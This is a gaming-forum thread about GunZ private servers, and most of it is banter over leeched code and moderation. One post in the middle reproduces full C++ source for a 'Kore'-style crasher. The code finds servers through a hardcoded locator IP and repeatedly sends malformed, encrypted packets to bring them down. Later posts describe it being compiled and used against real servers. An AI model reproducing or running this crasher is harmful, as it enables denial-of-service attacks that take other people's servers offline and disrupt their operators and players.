-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Theoretical
xd!!!!! Next should be SQL Injection amirite?
You should have started with that, it's the more fun part. Let's make a codecave check on ' in all of those functions! :ott1:
Off-topic:
Quote:
- Wizkid (L) (F) says (1:39 PM):
*I don't happen to care about GunZ for more than a year now, lol
*I'm just still working on LG because all the other servers are shit, spelled as s - h - i - t.
*leeching right and left
- Wizkid (L) (F) says (1:40 PM):
*then protecting leeched files with MY stuff
*which is a lose - lose situation I didn't signed for.
*in short, I'm not doing a single thing but hanging around once in a while.
*let the leechers provide a solution (inside clue: "real gunz developers").
*signed with xD
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Wizkidje
You should have started with that, it's the more fun part. Let's make a codecave check on ' in all of those functions! :ott1:
Off-topic:
looooooooooooooooooooooooooooooooooooooooooooooooooooooool. I love the patch being 5 lines XD.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Theoretical
looooooooooooooooooooooooooooooooooooooooooooooooooooooool. I love the patch being 5 lines XD.
No duh. I was just waiting for some leecher to copy Emisand's login patch and apply it to all functions.
-
Re: I guess theres a new Kore huh?
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
kochon
Yay, ego is back.
No, you are incorrect. You don't seem to get my point. Too bad.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Theoretical
Hi, I don't care about GunZ anymore.
Revolution.cpp
Code:
#include <stdio.h>
#include <Windows.h>
#include "Packet.h"
#pragma comment (lib, "WS2_32")
typedef struct Host
{
char szIP[64];
short nPort;
}*LPHOST;
LPHOST GetHostFromLocator()
{
WSADATA wsaData;
WSAStartup (MAKEWORD (2,2), &wsaData);
LPHOST lpHost = new Host();
int nRecv = 0;
PCHAR lpBuffer = new char[4096];
SOCKET fd = socket (AF_INET, SOCK_DGRAM, 0);
sockaddr_in sockAddr;
sockAddr.sin_addr.S_un.S_addr = INADDR_ANY;
sockAddr.sin_port = htons (7900);
sockAddr.sin_family = AF_INET;
sockaddr_in serverAddr;
serverAddr.sin_addr.S_un.S_addr = inet_addr ("67.212.81.85");
serverAddr.sin_port = htons (8900);
serverAddr.sin_family = AF_INET;
int nSize = sizeof(sockaddr);
while (true)
{
sendto (fd, "\x64\x00\x0b\x00\x73\x00\x05\x00\x41\x9c\x00", 11, 0, (sockaddr *)&serverAddr, sizeof(sockaddr));
nRecv = recvfrom (fd , lpBuffer, 40*** 0, (sockaddr *)&serverAddr, &nSize);
if (nRecv < 1)
{
printf ("Failed to connect. Retrying\n");
Sleep (30000);
continue;
}
if (nRecv > 6 && lpBuffer[0] == 100)
{
in_addr a;
memcpy (&a, lpBuffer+23, 4);
int port = 0;
memcpy (&port, lpBuffer+27, 4);
strcpy (lpHost->szIP, inet_ntoa (a));
lpHost->nPort = port;
return lpHost;
}
}
return NULL;
}
int main()
{
unsigned short packetIDs[] =
{
0x144, 0x145, 0x3F3, 0x3F4, 0x44D, 0x4BD, 0x4D1, 0x5AC, 0x57A, 0x52A, 0x522, 0x4C6, 0x584, 0x585, 0x5B6, 0x5DE, 0x6A5, 0x6A6, 0x6B8,
0x6A8, 0x6AA, 0x6b6, 0x70a, 0x70c, 0x178, 0x71E, 0x728, 0x72D, 0x607, 0x610, 0x623, 0x619, 0x61B, 0x770, 0x7E0, 0x7E8, 0x7EA, 0x7EB,
0x803, 0xC1C, 0x177E, 0x17A3, 0x17A6, 0x1FA, 0x5209, 0x520E, 0x17D8, 0x5217, 0x9C42, 0x1F45, 0x1F43, 0x1F44, 0x723
};
SOCKET fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockAddr;
PBYTE lpBuffer;
PCHAR lpTemp = "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";
PBYTE lpKey = new BYTE[32];
ZeroMemory (lpKey, 32);
while (true)
{
LPHOST lpHost = GetHostFromLocator();
if (lpHost == NULL)
{
Sleep (5000);
continue;
}
printf ("Connecting to: %s:%i\n", lpHost->szIP, lpHost->nPort);
fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockAddr.sin_addr.S_un.S_addr = inet_addr (lpHost->szIP);
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons (lpHost->nPort);
if (connect (fd, (sockaddr *)&sockAddr, sizeof(sockaddr)) == SOCKET_ERROR)
{
continue;
}
CPacket* lpPacket = new CPacket (40*** lpKey);
unsigned short id = packetIDs[rand() % (sizeof(packetIDs)-1)];
printf ("Crashing with: %X\n", id);
lpPacket->MakeCommand (id, 0);
lpPacket->WriteData(lpTemp, 64);
lpBuffer = lpPacket->FinalizePacket (100);
send (fd, (PCHAR)lpBuffer, lpPacket->mSize+8, 0);
printf ("Sent Packet.\n");
closesocket (fd);
delete lpPacket;
Sleep (50);
}
}
Packet.h
Code:
/* -----------------------------------------
File: Packet.h
Usage: Contains the full packet class for reading / writing to the initial buffer.
Author: Phail
-----------------------------------------*/
class CPacket
{
public:
unsigned char *mData;
unsigned char mKey[32];
short mSize;
unsigned char *BuildKey(char *pPacket)
{
byte Xor[] = { 0x57, 0x02,0x5B,0x04,0x34,0x06,0x01,0x08,0x37,0x0A,0x12,0x69,0x41,0x38,0x0F,0x78 };
byte mBytes[] = { 0x37,0x04,0x5D,0x2E,0x43,0x38,0x49,0x53,0x50,0x05,0x13,0xC9,0x28,0xA4,0x4D,0x05 }; //GameNao!
unsigned int szTmp = 0,szTmp2 = 0,szTmp3 = 0;
memcpy(mKey,pPacket+12,4);
memcpy(mKey+4,pPacket,12);
memcpy(mKey+16,mBytes,16);
for(int i=0; i<4; ++i)
{
memcpy(&szTmp,Xor+(i*4),4);
memcpy(&szTmp2,mKey+(i*4),4);
szTmp3 = szTmp ^ szTmp2;
memcpy(mKey+(i*4),&szTmp3,4);
}
return (unsigned char *)mKey;
}
void Encrypt(unsigned char *szBuffer, int iStart, int iLength)
{
for(int i=0; i < iLength; ++i)
{
unsigned short a = szBuffer[iStart+i];
a ^=mKey[i%32];
a <<= 3;
byte b = (byte)(a >> 8);
b |= (byte)(a & 0xFF);
b ^= 0xF0;
szBuffer[iStart + i] = (byte)b;
}
}
void Decrypt(unsigned char *szBuffer, int iStart, int iLength)
{
for (int i = 0; i < iLength; ++i)
{
byte a = szBuffer[iStart + i];
a ^= 0x0F0;
byte b = (byte)(7 & a);
b <<= 5;
a >>= 3;
b = (byte)(a | b);
szBuffer[iStart+i] = (byte)(b ^ mKey[i % 32]);
}
}
unsigned short Checksum(unsigned char *szBuffer, int iStart, int iLength)
{
unsigned int uiSum = (unsigned int)(szBuffer[iStart] + szBuffer[iStart+1] + szBuffer[iStart+2] + szBuffer[iStart+3]),uiSum2=0,uiSum3=0,uiSum4=0;
for(int i=6; i < iLength; ++i) uiSum2 += szBuffer[i];
uiSum3 = uiSum2 - uiSum;
uiSum4 = uiSum3 >> 0x10;
uiSum3 += uiSum4;
return (unsigned short)uiSum3;
}
void WriteData(void *pData, short pLength)
{
char cZero = 0x00;
if(pData == 0)
{
for(int i=0; i < pLength; i++)
{
memcpy(mData+mSize,&cZero,1);
mSize++;
}
}
else
{
memcpy(mData+mSize,pData,pLength);
mSize += pLength;
}
}
void WriteString(char *szBuffer)
{
short wSize = strlen(szBuffer)+1;
WriteData(&wSize,2);
WriteData(szBuffer,wSize);
}
short ReadShort()
{
short s = 0;
memcpy(&s,mData+mSize,2);
mSize+=2;
return s;
}
char *ReadString()
{
short wSize = ReadShort();
char *szString = (char *)malloc(wSize);
memset(szString,0,wSize);
memcpy(szString,mData+mSize,wSize);
mSize+=wSize;
return szString;
}
byte ReadByte()
{
byte out = mData[mSize];
mSize++;
return out;
}
long ReadLong()
{
long out = 0;
memcpy(&out,mData+mSize,4);
mSize+=4;
return out;
}
byte *ReadArray(short iSize)
{
byte *bArray = new byte[iSize];
memset(bArray,0,iSize);
memcpy(bArray,mData+mSize,iSize);
mSize+=iSize;
return bArray;
}
short GetLen(int iLast)
{
short wOut = 0;
for(int i=mSize; i < iLast; i++,wOut++)
{
if(mData[i] == 0){
wOut++;
break;
}
}
return wOut;
}
void SkipByte(short wSize)
{
mSize+=wSize;
}
void SetPos(short pVal)
{
mSize = pVal;
}
void WriteShort(short pIn)
{
memcpy((mData+mSize),&pIn,2);
mSize+=2;
}
void MakeCommand(short wCommand,byte val)
{
char cPacketId = val;
memcpy(mData,&wCommand,2);
memcpy(mData+2,&cPacketId,1);
mSize += 3;
}
unsigned char *FinalizePacket(unsigned short wVersion)
{
unsigned short wLen = mSize + 8;
unsigned short wLen2 = mSize+2;
unsigned short wChecksum = 0;
unsigned char *szPacket = new unsigned char[wLen];
byte bZero[] = {0x0,0x0};
memset(szPacket,0,wLen);
memcpy(szPacket,&wVersion,2);
memcpy(szPacket+2,&wLen,2);
if(wVersion == 0x65)Encrypt(szPacket,2,2);
memcpy(szPacket+4,&bZero,2);
memcpy(szPacket+6,&wLen2,2);
memcpy(szPacket+8,mData,mSize);
if(wVersion == 0x65)Encrypt(szPacket,6,mSize+2);
wChecksum = Checksum(szPacket,0,wLen);
memcpy(szPacket+4,&wChecksum,2);
return szPacket;
}
CPacket(int pLen,unsigned char pKey[32])
{
mData = (unsigned char *)malloc(pLen);
memset(mData,0,pLen);
mSize = 0;
memcpy(mKey,pKey,32);
}
CPacket(unsigned char *pDecrypted, short pStart, short pSize)
{
mData = (unsigned char *)malloc(pSize);
memset(mData,0,pSize);
memcpy(mData,pDecrypted,pSize);
mSize = pStart;
}
CPacket(unsigned char pKey[32])
{
memcpy(mKey,pKey,32);
}
CPacket(){}
~CPacket()
{
free((void *)mData);
mSize = 0;
}
};
Oh great.
Did you give a compiled version to NicK?
Or was he smart enough to compile it himself?
He's using it to crash my server. ._________.
WooAf: Connecting to: a.b.c.d:e | Crashing with: 1F45
WooAf: Please fix the 1F45 packet.
And then he spammed the compiled version all over my shoutbox and forums.
And I got no idea why.
Great. This is so gay. >____>
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Wizkidje
No, you are incorrect. You don't seem to get my point. Too bad.
What I'm seeing here is Theo being an ass pretending he's too badass to care, and you being too cool to do something about it.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
kochon
What I'm seeing here is Theo being an ass pretending he's too badass to care, and you being too cool to do something about it.
Then that's your fault. I'm trying to make a point here.
My point is that some "GunZ developers" are leeching left and right from me and other, real, developers. I don't care about the leeching itself, but they are pretending they made it all on their own, and they say they can do everything they want. Well, those kids started to annoy me several months back. To be honest, a lot of server owners pretend like that (for example, Kyuma). So my point is to let the leeching developers create a patch (they "can do it all") while I sit back and enjoy some hilarious conversations.
Quote:
Originally Posted by
mcsic
Oh great.
Did you give a compiled version to NicK?
Or was he smart enough to compile it himself?
He's using it to crash my server. ._________.
WooAf: Connecting to: a.b.c.d:e | Crashing with: 1F45
WooAf: Please fix the 1F45 packet.
And then he spammed the compiled version all over my shoutbox and forums.
And I got no idea why.
Great. This is so gay. >____>
That's #1.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Wizkidje
That's #1.
I'm #1. "That's #1." Even better. .___________.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
mcsic
I'm #1. "That's #1." Even better. .___________.
And when you are talking about ego...
:):
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Wizkidje
And when you are talking about ego...
:):
When I'm talking about ego... o.o
I'm an ego-tripper on msn when I get provoked, sometimes.
I don't get what you mean though.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
mcsic
When I'm talking about ego... o.o
I'm an ego-tripper on msn when I get provoked, sometimes.
I don't get what you mean though.
It's a joke which some people will understand and some won't.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Wizkidje
It's a joke which some people will understand and some won't.
Explain.
Is it good to understand it or not?
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
mcsic
Explain.
Is it good to understand it or not?
It's a joke so it's funny to understand it. But, as usually with jokes, there's always a part of humans that don't get the joke.
Let's not get further off-topic and head to bed.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Wizkidje
It's a joke so it's funny to understand it. But, as usually with jokes, there's always a part of humans that don't get the joke.
Let's not go further off-topic and head to bed.
Well yeah, there are jokes which shouldn't be told.
No school tomorrow due to the extreme weather conditions (snow).
Okay let's stop going off-topic.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
mcsic
Well yeah, there are jokes which shouldn't be told.
No school tomorrow due to the extreme weather (snow).
Okay let's stop going off-topic.
Extreme weather? Oh come on, it's been way worse. I'm taking a few days off to relax a bit, been working too hard for the past weeks... finally time to play in the snow :D:.
-
Re: I guess theres a new Kore huh?
Personally it would be good to see all leechers getting banned but as Ex stated those things happen.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
Wizkidje
Then that's your fault. I'm trying to make a point here.
My point is that some "GunZ developers" are leeching left and right from me and other, real, developers. I don't care about the leeching itself, but they are pretending they made it all on their own, and they say they can do everything they want. Well, those kids started to annoy me several months back. To be honest, a lot of server owners pretend like that (for example, Kyuma). So my point is to let the leeching developers create a patch (they "can do it all") while I sit back and enjoy some hilarious conversations.
True. Sadly, imo, the whole bunch of Gunz servers are full of shit and almost every single one has its hands dirty for hacking someone, or stealing/leeching from others. That's why I think Kore would have been a great idea if used otherwise ;)
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
kochon
True. Sadly, imo, the whole bunch of Gunz servers are full of shit and almost every single one has its hands dirty for hacking someone, or stealing/leeching from others. That's why I think Kore would have been a great idea if used otherwise ;)
That was exactly my point. Good to see you get it now. Next time I'll write a complete book. :rolleyes:
-
Re: I guess theres a new Kore huh?
Well atleast you need to edit some little things in it to get it to work. otherwise every basic noob would use it.
-
Re: I guess theres a new Kore huh?
I'm not going to remove it because if you can't patch it you shouldn't bother making a Gunz server.
Most aren't any good anyway excluding Trinity, Legend and Evil.
If you have time to make money from items you didn't make, you can also take the time to learn how to patch it.
Good day.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
KillerStefan
I'm not going to remove it because if you can't patch it you shouldn't bother making a Gunz server.
Most aren't any good anyway excluding Trinity, Legend and Evil.
If you have time to make money from items you didn't make, you can also take the time to learn how to patch it.
Good day.
That doesn't mean you allow this Stefan. You're a mod of a development forum. As a player, you can express your views or wish for servers to die but as a mod, it's not right. And a lot of leeching happens here itself. It's not only done individually by server owners / devs.
I'm not telling you what to do or say but I feel it's terrible. This should have been deleted immediately. I'm surprised you didn't.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
KillerStefan
I'm not going to remove it because if you can't patch it you shouldn't bother making a Gunz server.
Most aren't any good anyway excluding Trinity, Legend and Evil.
If you have time to make money from items you didn't make, you can also take the time to learn how to patch it.
Good day.
You are correct about that, but this is a development forum, and that crasher is more affiliated with hacking than developing.
On the other hand, I was right in my previous post
Quote:
Originally Posted by
Wizkidje
Tsssk tsssk Phail, that's not clean C code. I'm awaiting releases like
"Private Server Destroyer V1.0 by Kyuma"
"Private Server Destroyer V1.0 by Touchwise"
"Private Server Destroyer V1.0 by [fill in a lot of other names]"
Let's sit back and enjoy :D.
They are doing it right now! Like every private server is offline. Lol.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
phoenix_147
That doesn't mean you allow this Stefan. You're a mod of a development forum. As a player, you can express your views or wish for servers to die but as a mod, it's not right. And a lot of leeching happens here itself. It's not only done individually by server owners / devs.
I'm not telling you what to do or say but I feel it's terrible. This should have been deleted immediately. I'm surprised you didn't.
I never said I support it, I'm just saying that if you can't fix "the new Kore" you shouldn't be doing this at all.
He just dropped the source here, I mean come on what else do you possible need?
I thought we're all here to develop right?
If Jacob released a compiled version here, I would have removed it but now you got the source so get to work.
Quote:
Originally Posted by
Wizkidje
You are correct about that, but this is a development forum, and that crasher is more affiliated with hacking than developing.
Read up.
-
Re: I guess theres a new Kore huh?
Quote:
Originally Posted by
KillerStefan
I never said I support it, I'm just saying that if you can't fix "the new Kore" you shouldn't be doing this at all.
He just dropped the source here, I mean come on what else do you possible need?
I thought we're all here to develop right?
If Jacob released a compiled version here, I would have removed it but now you got the source so get to work.
Read up.
Still, you shouldn't (even indirectly) support Phail's childish move.
